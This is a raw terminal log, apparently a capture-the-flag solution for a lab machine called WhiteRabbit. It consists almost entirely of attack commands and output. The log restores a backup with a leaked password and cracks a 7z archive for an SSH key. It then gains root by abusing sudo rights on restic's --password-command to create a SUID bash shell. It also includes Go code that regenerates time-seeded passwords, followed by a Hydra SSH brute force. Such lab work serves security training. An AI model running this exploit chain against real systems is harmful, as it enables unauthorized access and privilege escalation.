RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb check
using temporary cache in /tmp/restic-check-cache-19095181
create exclusive lock for repository
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /tmp/restic-check-cache-19095181
load indexes
[0:00] 100.00% 5 / 5 index files loaded
pack 28cf3dff1e473e0d35812c74b401504f2c73b3816b9ed97baaab4b4eb83436ce contained in several indexes: {354ae3ea bddbd35b c6d5360e}
pack 7988d2d37a4ccbee88858cd0e49fb8b7c1dc0e5b0f7852ca693f637992b057b4 contained in several indexes: {354ae3ea 7aebf98b c6d5360e}
pack fca07af9fcb23f378b2a08e1d361a98343465f9db1394d05de3faee0f543f67a contained in several indexes: {354ae3ea c6d5360e}
pack 1fca34c13a720ecccea8908b82eeb66ccef4e79f212ff9460b9efb0d0801b892 contained in several indexes: {65fc5299 c6d5360e}
pack 4f9dd56ef3bafcdb66288f4640067b9b93b4a7f81235b024864079f5b5d2c8e4 contained in several indexes: {bddbd35b c6d5360e}
Duplicate packs are non-critical, you can run `restic repair index' to correct this.
check all packs
check snapshots, trees and blobs
[0:00] 100.00% 1 / 1 snapshots
no errors were found
RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/arch/.cache/restic
ID Time Host Tags Paths
------------------------------------------------------------------------
272cacd5 2025-03-06 21:18:40 whiterabbit /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
mkdir restic
RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restic/
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00% 5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to ./restic/
Summary: Restored 5 files/dirs (572 B) in 0:00
cd restic/dev/shm/bob/ssh/
7z2john bob.7z
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00
7z x bob.7z
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 572 bytes (1 KiB)
Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1
Enter password:1q2w3e4r5t6y
Everything is Ok
Files: 3
Size: 557
Compressed: 572
chmod 600 bob
ssh -i bob bob@whiterabbit.htb -p 2222
The authenticity of host '[whiterabbit.htb]:2222 ([10.10.11.63]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:jWKKPrkxU01KGLZeBG3gDZBIqKBFlfctuRcPBBG39sA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[whiterabbit.htb]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Mar 24 15:40:49 2025 from 10.10.14.62
bob@ebdce80611e9:~$
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bob may run the following commands on ebdce80611e9:
(ALL) NOPASSWD: /usr/bin/restic
bob@ebdce80611e9:~$ sudo restic --password-command "touch /tmp/test" check
using temporary cache in /tmp/restic-check-cache-3661813382
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ sudo restic --password-command "cp /bin/bash /tmp/test" check
using temporary cache in /tmp/restic-check-cache-3506714875
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ sudo restic --password-command "chmod 4755 /tmp/test" check
using temporary cache in /tmp/restic-check-cache-1512090143
Fatal: Please specify repository location (-r or --repository-file)
bob@ebdce80611e9:~$ /tmp/test -p
test-5.2# id
uid=1001(bob) gid=1001(bob) euid=0(root) groups=1001(bob)
chmod 600 morpheus
ssh -i morpheus morpheus@whiterabbit.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Dec 29 20:02:51 2025 from 10.10.14.50
morpheus@whiterabbit:~$ ls
user.txt
morpheus@whiterabbit:~$ cat user.txt
mkdir pwgen
cd pwgen
go mod init pwgen
go: creating new go.mod: module pwgen
package main
/*
#include <stdlib.h>
*/
import "C"
import (
"fmt"
"time"
"os"
)
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
func generateRandomString(seed int) string {
C.srand(C.uint(seed))
out := make([]byte, 20)
for i := 0; i < 20; i++ {
randIndex := int(C.rand()) % len(charset)
out[i] = charset[randIndex]
}
return string(out)
}
func main() {
// Parse Timestamp
t, err := time.Parse("2006-01-02 15:04:05", os.Args[1])
if err != nil {
panic(err)
}
seed := int(t.Unix())
seen := make(map[string]struct{})
for ms := 0; ms < 1000; ms++ {
currentSeed := seed*1000 + int(ms)
pw := generateRandomString(currentSeed)
if _, exists := seen[pw]; !exists {
seen[pw] = struct{}{}
fmt.Println(pw)
}
}
}
go run main.go "2024-08-30 14:40:42" > passwords
hydra -l neo -P passwords ssh://whiterabbit.htb
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-29 18:27:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking ssh://whiterabbit.htb:22/
[22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-29 18:27:20
morpheus@whiterabbit:~$ su neo
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
neo@whiterabbit:/home/morpheus$ sudo -l
[sudo] password for neo:
Matching Defaults entries for neo on whiterabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User neo may run the following commands on whiterabbit:
(ALL : ALL) ALL
neo@whiterabbit:/home/morpheus$ sudo su
root@whiterabbit:/home/morpheus# cd /root
root@whiterabbit:~# ls
root.txt
root@whiterabbit:~# cat root.txt